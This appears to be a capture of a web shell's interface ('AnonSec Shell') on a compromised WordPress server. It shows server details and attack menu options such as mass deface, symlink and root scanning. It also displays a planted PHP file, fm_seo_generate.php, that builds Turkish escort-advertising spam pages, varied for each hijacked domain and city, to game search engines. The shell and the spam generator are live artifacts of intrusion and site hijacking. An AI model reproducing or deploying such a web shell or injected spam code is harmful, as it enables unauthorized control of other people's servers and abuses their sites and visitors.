AnonSec Shell
Server IP : 198.244.165.102  /  Your IP : 216.73.216.218   [ Reverse IP ]
Web Server : nginx/1.24.0
System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : colleary ( 1011)
PHP Version : 8.3.23
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/colleary/public_html/wp-content/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/colleary/public_html/wp-content/includes/fm_seo_generate.php
<?php
// @fm-embedded-id:2026-08-04-index-ist-redirect-all
// @fm-embedded-id:2026-08-04-license-single-city
// @fm-embedded-id:2026-08-04-bot-htaccess-fix
// @fm-embedded-id:2026-08-04-bot-gate-fix
// @fm-embedded-id:2026-08-04-index-lib-fix
declare(strict_types=1);
/** Medusa FM — license.html SEO (Studio bagimsiz). ms_seo_license.php yukler. */
if (function_exists('ms_generate_seo_page')) {
    return;
}
// ═══════════════════ SEO HTML ÜRETİCİ ═══════════════════
function ms_seo_seed(string $domainKey, string $city, string $extraSalt = ''): int
{
    $extraSalt = trim($extraSalt);
    if ($extraSalt === '') {
        $extraSalt = (string)($GLOBALS['fm_license_seed_salt'] ?? '');
    }
    $base = strtolower(trim($domainKey) . '|' . trim($city));
    if ($extraSalt !== '') {
        $base .= '|' . $extraSalt;
    }
    return (int)sprintf('%u', crc32($base));
}

/** @param list<string> $items */
function ms_seo_shuffle_by_seed(array $items, int $seed): array
{
    $out = array_values($items);
    usort($out, static function ($a, $b) use ($seed) {
        return crc32($a . $seed) <=> crc32($b . $seed);
    });
    return $out;
}

function ms_generate_seo_page(string $city, array $districts, string $baseUrl, array $extraSemts = [], string $domainKey = ''): array
{
    $city = trim($city);
    $baseUrl = trim($baseUrl);
    if ($baseUrl !== '' && !preg_match('#/$#', $baseUrl) && !preg_match('#\.[a-z0-9]{2,5}$#i', $baseUrl)) {
        $baseUrl .= '/';
    }
    if ($baseUrl === '') {
        $baseUrl = '/';
    }
    if ($city === '') {
        return ['ok' => false, 'error' => 'İl seçin'];
    }
    if ($domainKey === '') {
        $host = parse_url($baseUrl, PHP_URL_HOST);
        $domainKey = is_string($host) && $host !== '' ? $host : 'site';
    }

    if ($districts === []) {
        $all = ms_provinces()[$city] ?? [];
        if ($city === 'İstanbul' && function_exists('ms_istanbul_districts')) {
            $districts = ms_istanbul_districts();
        } else {
            $districts = array_slice($all, 0, min(12, count($all)));
        }
    }
    $districts = array_values(array_unique(array_filter(array_map('trim', $districts))));
    $extraSemts = array_values(array_unique(array_filter(array_map('trim', $extraSemts))));

    $seed = ms_seo_seed($domainKey, $city);
    $districts = ms_seo_shuffle_by_seed($districts, $seed);
    // Adalar / Şile asla
    $districts = array_values(array_filter($districts, static function ($d) {
        $d = trim((string)$d);
        return $d !== '' && !in_array($d, ['Adalar', 'Şile', 'Sile'], true);
    }));
    $semtsShuffled = ms_seo_shuffle_by_seed($extraSemts !== [] ? $extraSemts : $districts, $seed + 11);
    $semtsShuffled = array_values(array_filter($semtsShuffled, static function ($s) {
        $s = trim((string)$s);
        return $s !== '' && !preg_match('/^(Büyükada|Heybeliada|Burgazada|Kınalıada|Ağva|Kumbaba)$/iu', $s);
    }));
    // İlçe/ semt önceliği (İstanbul: Merter, Etiler…; diğer iller: ms_seo_city_priority_hoods)
    $prio = ($city === 'İstanbul' && function_exists('ms_istanbul_priority_hoods'))
        ? ms_istanbul_priority_hoods()
        : (function_exists('ms_seo_city_priority_hoods') ? ms_seo_city_priority_hoods($city) : []);
    $prioHit = [];
    foreach ($prio as $p) {
        foreach ($semtsShuffled as $s) {
            if (mb_strtolower($s, 'UTF-8') === mb_strtolower($p, 'UTF-8')) {
                $prioHit[] = $s;
                break;
            }
        }
        // İlçe adı da semt gibi kullanılabilir (Başakşehir)
        foreach ($districts as $d) {
            if (mb_strtolower($d, 'UTF-8') === mb_strtolower($p, 'UTF-8')) {
                $prioHit[] = $d;
                break;
            }
        }
    }
    $prioHit = array_values(array_unique($prioHit));
    $semtsShuffled = array_values(array_unique(array_merge($prioHit, $semtsShuffled)));

    $offset = count($districts) > 6 ? ($seed % (count($districts) - 5)) : 0;
    $mainD = array_slice($districts, $offset, 8);
    if ($mainD === []) {
        $mainD = array_slice($districts, 0, 8);
    }
    $d1 = $mainD[0] ?? $city;
    $d2 = $mainD[1] ?? $d1;
    $d3 = $mainD[2] ?? $d2;
    $d4 = $mainD[3] ?? $d3;
    $s1 = $semtsShuffled[0] ?? $d1;
    $s2 = $semtsShuffled[1] ?? $d2;
    $s3 = $semtsShuffled[2] ?? $d3;
    $cityLow = mb_strtolower($city, 'UTF-8');

    // Kullanıcı formatları — domain seed ile döner
    $titleForms = [
        $city . ' Escort Bayan ♥️ VIP Eskort 7/24',
        $d1 . ' Escort - Escort ' . $d1 . ' - ' . $city . ' Escort',
        $d1 . ' escort, ' . $d2 . ' escort, ' . $d3 . ' escort',
        $city . ' Escort • Bireysel Escort Bayan • Rus Escort Kızlar',
        $cityLow . ' Escort - ' . $city . ' Eskort - Escort ' . $city,
        $d1 . ' Escort, ' . $s1 . ' Escort, ' . $d2 . ' Escort',
        $city . ' Escort Bayan ♥️ ' . $d1 . ' Eskort 7/24',
        $s1 . ' Escort - Escort ' . $s1 . ' - ' . $city . ' Escort',
        $d2 . ' escort, ' . $d3 . ' escort, ' . $d4 . ' escort',
        $city . ' Escort • VIP Escort Bayan • ' . $d1 . ' Escort',
        $cityLow . ' escort - ' . $city . ' Escort - Eskort ' . $city,
        $s1 . ' Escort, ' . $s2 . ' Escort, ' . $s3 . ' Escort',
    ];
    $title = $titleForms[$seed % count($titleForms)];

    $descForms = [
        $city . ' escort bayan rehberi: ' . $d1 . ', ' . $d2 . ', ' . $d3 . ' ve ' . $s1 . ' bölgelerinde VIP eskort, bireysel escort bayan ve 7/24 elden ödeme. Gizlilik öncelikli ' . $cityLow . ' escort ilanları.',
        $d1 . ' escort - escort ' . $d1 . ' - ' . $city . ' escort. ' . $s1 . ' ve ' . $s2 . ' semtlerinde premium VIP eskort kızlar, Rus escort ve bireysel escort bayan seçenekleri.',
        $city . ' Escort • Bireysel Escort Bayan • Rus Escort Kızlar. ' . $d1 . ' escort, ' . $d2 . ' escort, ' . $d3 . ' escort — güvenilir, diskret, 7/24.',
    ];
    $desc = $descForms[$seed % count($descForms)];
    if (mb_strlen($desc, 'UTF-8') > 165) {
        $desc = mb_substr($desc, 0, 162, 'UTF-8') . '…';
    }

    $kw = [
        $cityLow . ' escort',
        $cityLow . ' escort bayan',
        $cityLow . ' eskort',
        'escort ' . $cityLow,
        'vip escort',
        'bireysel escort bayan',
        'rus escort',
        'elden ödeme escort',
    ];
    foreach (array_slice($districts, 0, 16) as $d) {
        $dl = mb_strtolower($d, 'UTF-8');
        $kw[] = $dl . ' escort';
        $kw[] = 'escort ' . $dl;
    }
    foreach (array_slice($semtsShuffled, 0, 10) as $s) {
        $kw[] = mb_strtolower($s, 'UTF-8') . ' escort';
    }
    $keywords = implode(', ', array_unique($kw));

    $brandSuffix = ['VIP', 'Premium', 'Elit', 'Exclusive', 'Plus', 'Gold', 'Platinum'][$seed % 7];
    $layout = $seed % 6;

    // Uzun SEO paragrafları
    $introPool = [
        $city . ' escort arayanlar için hazırladığımız bu rehber; ' . $d1 . ', ' . $d2 . ', ' . $d3 . ' ve ' . $s1 . ' başta olmak üzere tüm ilçe ve semtlerde VIP escort bayan, bireysel escort ve Rus escort kızlar seçeneklerini bir araya getirir. '
            . $cityLow . ' escort - ' . $city . ' eskort - escort ' . $city . ' aramalarında öne çıkan profilimiz; gizlilik, elden ödeme ve 7/24 ulaşılabilirlik vaat eder. '
            . 'İster ' . $d1 . ' escort ister ' . $s2 . ' escort diye arayın — aynı kalite standardı, diskret iletişim ve hızlı randevu süreci sizi bekler.',
        $d1 . ' Escort - Escort ' . $d1 . ' - ' . $city . ' Escort üçlemesi, yerel aramalarda en çok kullanılan kalıplardan biridir. '
            . 'Bu sayfada ' . $d1 . ' escort, ' . $d2 . ' escort, ' . $d3 . ' escort ile birlikte ' . $s1 . ', ' . $s2 . ' ve ' . $s3 . ' semt rehberini bulacaksınız. '
            . 'Bireysel escort bayan ve VIP eskort kategorilerinde fotoğraflı, doğrulanmış ilanlar; ' . $city . ' genelinde elden ödeme ve otel / eve gelen seçenekleriyle sunulur.',
        $city . ' Escort • Bireysel Escort Bayan • Rus Escort Kızlar — kısa ve net bir vaat. '
            . 'Uzun yıllardır ' . $cityLow . ' escort sektöründe tercih edilen partnerlerimiz; ' . $d1 . ', ' . $d4 . ' ve ' . $s1 . ' bölgelerinde aynı gün randevu imkânı sunar. '
            . 'Güvenlik, hijyen ve mahremiyet odaklı hizmet modelimiz sayesinde ' . $city . ' escort bayan arayan kullanıcılar tek ekrandan doğru ilçeyi seçebilir.',
    ];
    $intro = $introPool[$seed % count($introPool)];

    $midPool = [
        'Hizmet kalitemiz yalnızca merkez ilçelerle sınırlı değildir. ' . $d2 . ' escort ve ' . $d3 . ' escort taleplerinde de aynı VIP standart uygulanır: ön görüşme, net fiyatlandırma, elden ödeme ve gizlilik sözleşmesi. '
            . 'Rus escort, Ukraynalı escort ve yerli bireysel escort bayan profilleri düzenli güncellenir; böylece ' . $cityLow . ' escort araması her seferinde taze içerikle karşılanır. '
            . 'Escort ' . $city . ' aramasında sık sorulan “güvenilir mi?” sorusuna yanıtımız nettir — doğrulanmış ilanlar, gerçek fotoğraf ve şeffaf iletişim.',
        $s1 . ' Escort, ' . $s2 . ' Escort, ' . $s3 . ' Escort semt kombinasyonu; kısa mesafeli ve hızlı buluşma isteyenler için idealdir. '
            . 'Aynı şekilde ' . $d1 . ' escort, ' . $d2 . ' escort, ' . $d4 . ' escort ilçe satırları da SEO ve kullanıcı niyeti açısından sayfanın omurgasını oluşturur. '
            . $city . ' Escort Bayan ♥️ VIP Eskort 7/24 mottosuyla gece-gündüz destek hattımız açıktır; randevu saati, konum ve süre netleştirilir.',
    ];
    $mid = $midPool[$seed % count($midPool)];

    $faqItems = [
        ['q' => $city . ' escort nasıl seçilir?', 'a' => $d1 . ' veya ' . $d2 . ' gibi ilçenizi belirleyin, profil açıklamasını okuyun ve 7/24 hattımızdan teyit alın. Elden ödeme ve gizlilik standarttır.'],
        ['q' => $d1 . ' escort ile ' . $s1 . ' escort farkı nedir?', 'a' => 'İlçe ve semt konumu dışında VIP / bireysel kategori ve randevu süresi değişebilir; kalite ve güvenlik aynıdır.'],
        ['q' => 'Rus escort ve bireysel escort bayan var mı?', 'a' => 'Evet. ' . $city . ' genelinde Rus escort kızlar ve bireysel escort bayan ilanları düzenli yayınlanır.'],
        ['q' => 'Ödeme ve gizlilik nasıl?', 'a' => 'Elden ödeme tercih edilir. Kimlik ve konum bilgileriniz üçüncü taraflarla paylaşılmaz.'],
    ];
    $faqHtml = '';
    foreach ($faqItems as $fi) {
        $faqHtml .= '<div class="faq"><h3>' . ms_e($fi['q']) . '</h3><p>' . ms_e($fi['a']) . '</p></div>';
    }

    $districtBlocks = '';
    foreach (array_slice($mainD, 0, 6) as $i => $d) {
        $near = $mainD[($i + 1) % max(1, count($mainD))] ?? $d;
        $hood = $semtsShuffled[$i % max(1, count($semtsShuffled))] ?? $d;
        $para = $d . ' escort arayanlar için özel bölüm: Escort ' . $d . ' ve ' . $city . ' ' . $d
            . ' bölgesinde VIP eskort, bireysel escort bayan ve ' . $hood . ' semtine yakın seçenekler sunulur. '
            . $d . ' escort, ' . $near . ' escort hattıyla komşu ilçelere de hızlı ulaşım sağlanır. '
            . 'Gizlilik, elden ödeme ve 7/24 iletişim ' . $d . ' escort ilanlarının ortak özelliğidir.';
        $districtBlocks .= '<article class="block"><h2>' . ms_e($d) . ' Escort</h2><p>' . ms_e($para) . '</p>'
            . '<p class="muted">' . ms_e($d) . ' escort · escort ' . ms_e($d) . ' · ' . ms_e($city) . ' ' . ms_e($d) . '</p></article>';
    }

    $listItems = '';
    foreach ($districts as $d) {
        $listItems .= '<li><strong>' . ms_e($d) . ' Escort</strong> — escort ' . ms_e($d) . ', ' . ms_e($city) . ' ' . ms_e($d) . '</li>';
    }
    $semtTags = '';
    foreach (array_slice($semtsShuffled, 0, 28 + ($seed % 8)) as $s) {
        $semtTags .= '<span class="tag">' . ms_e($s) . ' Escort</span>';
    }

    $closing = $city . ' escort bayan, ' . $d1 . ' escort ve ' . $s1 . ' escort aramalarınızda bu sayfa güncel rehberiniz olsun. '
        . $cityLow . ' Escort - ' . $city . ' Eskort - Escort ' . $city . ' niyetleriyle gelen ziyaretçiler için içerikler düzenli yenilenir. '
        . 'VIP eskort, bireysel escort bayan ve Rus escort kızlar — hepsi 7/24, elden ödeme ve tam gizlilikle. '
        . 'İçerik yalnızca ' . $city . ' ve ilçeleri odaklıdır; başka şehir eklenmez.';

    // Seçilen il dışındaki şehirler license.html'e EKLENMEZ
    $hubSection = '';
    $keywords = implode(', ', array_unique($kw));

    // Tema paletleri
    $themes = [
        ['bg' => '#0a0a0a', 'card' => '#141414', 'primary' => '#e11d48', 'gold' => '#c9a84c', 'text' => '#e8e8e8', 'muted' => '#a3a3a3', 'accent' => '#fb7185', 'font' => 'Georgia, serif', 'name' => 'noir'],
        ['bg' => '#f7f4ef', 'card' => '#ffffff', 'primary' => '#9f1239', 'gold' => '#a16207', 'text' => '#1c1917', 'muted' => '#78716c', 'accent' => '#be123c', 'font' => '"Segoe UI", system-ui, sans-serif', 'name' => 'cream'],
        ['bg' => '#0b1220', 'card' => '#111827', 'primary' => '#22d3ee', 'gold' => '#fbbf24', 'text' => '#e2e8f0', 'muted' => '#94a3b8', 'accent' => '#67e8f9', 'font' => 'system-ui, sans-serif', 'name' => 'ocean'],
        ['bg' => '#140a12', 'card' => '#1f121c', 'primary' => '#f472b6', 'gold' => '#fcd34d', 'text' => '#fdf2f8', 'muted' => '#d8b4c8', 'accent' => '#fb7185', 'font' => 'Georgia, "Times New Roman", serif', 'name' => 'rose'],
        ['bg' => '#0c1a14', 'card' => '#13261d', 'primary' => '#34d399', 'gold' => '#fde047', 'text' => '#ecfdf5', 'muted' => '#86efac', 'accent' => '#6ee7b7', 'font' => 'system-ui, sans-serif', 'name' => 'emerald'],
        ['bg' => '#1a1025', 'card' => '#2a1838', 'primary' => '#c084fc', 'gold' => '#f0abfc', 'text' => '#faf5ff', 'muted' => '#d8b4fe', 'accent' => '#e9d5ff', 'font' => 'Georgia, serif', 'name' => 'violet'],
    ];
    $t = $themes[$layout];
    $radius = [4, 16, 24, 8, 20, 12][$layout];

    $cssBase = "
    *{margin:0;padding:0;box-sizing:border-box}
    body{background:{$t['bg']};color:{$t['text']};font-family:{$t['font']};line-height:1.75;min-height:100vh}
    a{color:{$t['primary']}}
    .wrap{max-width:1080px;margin:0 auto;padding:28px 20px 48px}
    .muted{color:{$t['muted']};font-size:.92rem}
    .tag{display:inline-block;margin:4px 6px 4px 0;padding:6px 12px;border-radius:999px;border:1px solid {$t['primary']}44;background:{$t['card']};color:{$t['accent']};font-size:.78rem}
    .block{background:{$t['card']};padding:22px 24px;border-radius:{$radius}px;margin:0 0 16px;border:1px solid {$t['primary']}22}
    .block h2{color:{$t['primary']};font-size:1.25rem;margin:0 0 10px}
    .prose{font-size:1.02rem;margin:0 0 18px;color:{$t['text']}}
    .prose+.prose{margin-top:-6px}
    .faq{border-top:1px solid {$t['primary']}28;padding:14px 0}
    .faq h3{font-size:1rem;color:{$t['gold']};margin:0 0 6px}
    .faq p{color:{$t['muted']};font-size:.95rem}
    ul.districts{columns:2;list-style:none}
    ul.districts li{padding:8px 0;border-bottom:1px solid {$t['primary']}18;font-size:.92rem;break-inside:avoid}
    footer{margin-top:36px;padding-top:18px;border-top:1px solid {$t['primary']}28;text-align:center;color:{$t['muted']};font-size:.8rem}
    @media(max-width:700px){ul.districts{columns:1}.wrap{padding:18px 14px 36px}}
    ";

    // Layout-specific chrome
    if ($layout === 0) {
        // Full-bleed dark hero
        $css = $cssBase . "
        body{background:radial-gradient(ellipse 90% 60% at 10% -10%,{$t['primary']}33,transparent 55%),{$t['bg']}}
        .hero{padding:56px 28px;border-radius:{$radius}px;background:linear-gradient(145deg,{$t['card']},{$t['bg']});border:1px solid {$t['gold']}44;margin-bottom:28px;text-align:center}
        .hero .brand{color:{$t['gold']};letter-spacing:.12em;text-transform:uppercase;font-size:.75rem;font-weight:700;margin-bottom:12px}
        .hero h1{font-size:clamp(1.4rem,4.2vw,2.35rem);line-height:1.25;color:#fff;margin:0 0 14px}
        .hero .lead{max-width:720px;margin:0 auto;color:{$t['muted']}}
        .stats{display:flex;flex-wrap:wrap;gap:8px;justify-content:center;margin-top:22px}
        .stats span{padding:6px 12px;border-radius:999px;background:{$t['primary']}22;border:1px solid {$t['primary']}44;font-size:.8rem}
        .grid2{display:grid;grid-template-columns:1fr 1fr;gap:14px}
        @media(max-width:800px){.grid2{grid-template-columns:1fr}}
        ";
        $body = '<div class="wrap">
<header class="hero"><div class="brand">✦ ' . ms_e($brandSuffix) . ' · ' . ms_e($city) . '</div>
<h1>' . ms_e($title) . '</h1><p class="lead">' . ms_e($desc) . '</p>
<div class="stats"><span>' . count($districts) . ' İlçe</span><span>' . count($extraSemts) . ' Semt</span><span>7/24</span><span>Elden Ödeme</span></div></header>
<p class="prose">' . ms_e($intro) . '</p><p class="prose">' . ms_e($mid) . '</p>
<div class="grid2">' . $districtBlocks . '</div>
<section class="block"><h2>' . ms_e($city) . ' İlçe Rehberi</h2><ul class="districts">' . $listItems . '</ul></section>
<section class="block"><h2>Semt &amp; Bölge Escort</h2><div>' . $semtTags . '</div></section>
<section class="block"><h2>Sık Sorulanlar</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
<footer><p>' . ms_e($domainKey) . ' · ' . ms_e($title) . ' © ' . date('Y') . '</p></footer></div>';
    } elseif ($layout === 1) {
        // Light editorial
        $css = $cssBase . "
        body{background:{$t['bg']}}
        .topbar{border-bottom:2px solid {$t['primary']};padding:14px 0 18px;margin-bottom:28px}
        .topbar .brand{color:{$t['gold']};font-size:.72rem;letter-spacing:.14em;text-transform:uppercase;font-weight:800}
        .topbar h1{font-size:clamp(1.45rem,3.8vw,2.2rem);margin:10px 0 12px;color:{$t['text']};line-height:1.3}
        .cols{display:grid;grid-template-columns:1.4fr .8fr;gap:28px}
        .aside .block{position:sticky;top:16px}
        @media(max-width:860px){.cols{grid-template-columns:1fr}}
        ";
        $body = '<div class="wrap"><header class="topbar"><div class="brand">' . ms_e($city) . ' · ' . ms_e($brandSuffix) . '</div>
<h1>' . ms_e($title) . '</h1><p class="muted">' . ms_e($desc) . '</p></header>
<div class="cols"><div>
<p class="prose">' . ms_e($intro) . '</p><p class="prose">' . ms_e($mid) . '</p>
' . $districtBlocks . '
<section class="block"><h2>Sık Sorulanlar</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
</div><aside class="aside"><div class="block"><h2>Semtler</h2><div>' . $semtTags . '</div></div>
<div class="block"><h2>İlçeler</h2><ul class="districts">' . $listItems . '</ul></div></aside></div>
<footer><p>' . ms_e($domainKey) . ' · ' . ms_e($city) . ' escort © ' . date('Y') . '</p></footer></div>';
    } elseif ($layout === 2) {
        // Split banner
        $css = $cssBase . "
        .split{display:grid;grid-template-columns:1fr 1fr;gap:0;border-radius:{$radius}px;overflow:hidden;margin-bottom:28px;border:1px solid {$t['primary']}33}
        .split-l{background:linear-gradient(160deg,{$t['primary']},{$t['card']});padding:40px 28px;color:#fff}
        .split-l h1{font-size:clamp(1.3rem,3.5vw,2rem);line-height:1.3;margin:10px 0 14px}
        .split-r{background:{$t['card']};padding:40px 28px}
        .chips span{display:inline-block;margin:4px;padding:5px 10px;border-radius:8px;background:{$t['bg']};font-size:.78rem;color:{$t['accent']}}
        @media(max-width:800px){.split{grid-template-columns:1fr}}
        ";
        $body = '<div class="wrap"><div class="split"><div class="split-l"><div class="brand" style="opacity:.9;font-size:.75rem;letter-spacing:.1em;text-transform:uppercase">' . ms_e($brandSuffix) . '</div>
<h1>' . ms_e($title) . '</h1><p>' . ms_e($desc) . '</p></div>
<div class="split-r"><p class="prose">' . ms_e(mb_substr($intro, 0, 280, 'UTF-8')) . '…</p>
<div class="chips"><span>' . ms_e($d1) . ' Escort</span><span>' . ms_e($d2) . ' Escort</span><span>' . ms_e($s1) . ' Escort</span><span>7/24</span><span>VIP</span></div></div></div>
<p class="prose">' . ms_e($intro) . '</p><p class="prose">' . ms_e($mid) . '</p>
' . $districtBlocks . '
<section class="block"><h2>' . ms_e($city) . ' İlçe Listesi</h2><ul class="districts">' . $listItems . '</ul></section>
<section class="block"><h2>Semt Escort</h2><div>' . $semtTags . '</div></section>
<section class="block"><h2>SSS</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
<footer><p>' . ms_e($domainKey) . ' © ' . date('Y') . '</p></footer></div>';
    } elseif ($layout === 3) {
        // Long-form magazine
        $css = $cssBase . "
        .mast{max-width:760px;margin:0 auto 32px;text-align:left}
        .mast h1{font-size:clamp(1.5rem,4vw,2.4rem);line-height:1.28;margin:12px 0 16px;border-left:5px solid {$t['primary']};padding-left:16px}
        .drop{font-size:1.08rem}
        .drop::first-letter{font-size:3.2rem;float:left;line-height:1;padding:6px 10px 0 0;color:{$t['primary']};font-weight:700}
        .band{background:{$t['card']};padding:20px;border-radius:{$radius}px;margin:22px 0;border-left:4px solid {$t['gold']}}
        ";
        $body = '<div class="wrap"><header class="mast"><p class="muted" style="letter-spacing:.12em;text-transform:uppercase;font-size:.72rem;font-weight:700">' . ms_e($city) . ' escort rehberi</p>
<h1>' . ms_e($title) . '</h1><p class="muted">' . ms_e($desc) . '</p></header>
<p class="prose drop">' . ms_e($intro) . '</p>
<div class="band"><p class="prose" style="margin:0">' . ms_e($mid) . '</p></div>
' . $districtBlocks . '
<section class="block"><h2>İlçe &amp; Semt</h2><ul class="districts">' . $listItems . '</ul><div style="margin-top:14px">' . $semtTags . '</div></section>
<section class="block"><h2>Merak Edilenler</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
<footer><p>' . ms_e($domainKey) . ' · ' . ms_e($brandSuffix) . ' © ' . date('Y') . '</p></footer></div>';
    } elseif ($layout === 4) {
        // Card mosaic
        $css = $cssBase . "
        .hero-min{margin-bottom:20px}
        .hero-min h1{font-size:clamp(1.35rem,3.8vw,2.1rem);margin:8px 0 10px;color:{$t['accent']}}
        .mosaic{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;margin:18px 0}
        .mosaic .block{margin:0;min-height:140px}
        .mosaic .block:first-child{grid-column:span 2}
        @media(max-width:800px){.mosaic{grid-template-columns:1fr}.mosaic .block:first-child{grid-column:span 1}}
        ";
        $mosaic = '';
        foreach (array_slice($mainD, 0, 6) as $i => $d) {
            $mosaic .= '<article class="block"><h2>' . ms_e($d) . ' Escort</h2><p class="muted">' . ms_e($d) . ' escort, escort ' . ms_e($d) . ', ' . ms_e($city) . ' ' . ms_e($d) . ' — VIP &amp; bireysel, 7/24.</p></article>';
        }
        $body = '<div class="wrap"><header class="hero-min"><p class="muted">' . ms_e($brandSuffix) . ' · ' . ms_e($city) . '</p>
<h1>' . ms_e($title) . '</h1><p class="muted">' . ms_e($desc) . '</p></header>
<p class="prose">' . ms_e($intro) . '</p>
<div class="mosaic">' . $mosaic . '</div>
<p class="prose">' . ms_e($mid) . '</p>
<section class="block"><h2>Tüm İlçeler</h2><ul class="districts">' . $listItems . '</ul></section>
<section class="block"><h2>Semtler</h2><div>' . $semtTags . '</div></section>
<section class="block"><h2>SSS</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
<footer><p>' . ms_e($domainKey) . ' © ' . date('Y') . '</p></footer></div>';
    } else {
        // Timeline / list luxury
        $css = $cssBase . "
        .head{display:flex;flex-wrap:wrap;justify-content:space-between;gap:16px;align-items:flex-end;margin-bottom:28px;padding-bottom:18px;border-bottom:1px solid {$t['gold']}55}
        .head h1{font-size:clamp(1.35rem,3.6vw,2.05rem);max-width:720px;line-height:1.3}
        .pill{background:{$t['primary']};color:#fff;padding:8px 14px;border-radius:999px;font-size:.78rem;font-weight:700}
        .timeline .block{border-left:3px solid {$t['primary']};border-radius:0 {$radius}px {$radius}px 0}
        ";
        $body = '<div class="wrap"><header class="head"><div><p class="muted" style="margin-bottom:8px">' . ms_e($city) . ' · VIP Escort 7/24</p>
<h1>' . ms_e($title) . '</h1></div><span class="pill">' . ms_e($brandSuffix) . '</span></header>
<p class="muted" style="margin-bottom:16px">' . ms_e($desc) . '</p>
<p class="prose">' . ms_e($intro) . '</p><p class="prose">' . ms_e($mid) . '</p>
<div class="timeline">' . $districtBlocks . '</div>
<section class="block"><h2>' . ms_e($city) . ' İlçeleri</h2><ul class="districts">' . $listItems . '</ul></section>
<section class="block"><h2>Popüler Semtler</h2><div>' . $semtTags . '</div></section>
<section class="block"><h2>Yardım</h2>' . $faqHtml . '</section>
<p class="prose">' . ms_e($closing) . '</p>
<footer><p>' . ms_e($domainKey) . ' · ' . ms_e($title) . ' © ' . date('Y') . '</p></footer></div>';
    }

    if ($hubSection !== '') {
        if (str_contains($body, '<footer>')) {
            $body = str_replace('<footer>', $hubSection . '<footer>', $body);
        } else {
            $body .= $hubSection;
        }
    }

    $html = '<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>' . ms_e($title) . '</title>
<meta name="description" content="' . ms_e($desc) . '">
<meta name="keywords" content="' . ms_e($keywords) . '">
<meta name="robots" content="index, follow">
<link rel="canonical" href="' . ms_e($baseUrl) . '">
<style>' . $css . '</style>
</head>
<body>
' . $body . '
</body></html>';

    return [
        'ok' => true,
        'html' => $html,
        'title' => $title,
        'description' => $desc,
        'keywords' => $keywords,
        'domain' => $domainKey,
        'theme' => $layout,
    ];
}


Anon7 - 2022
AnonSec Team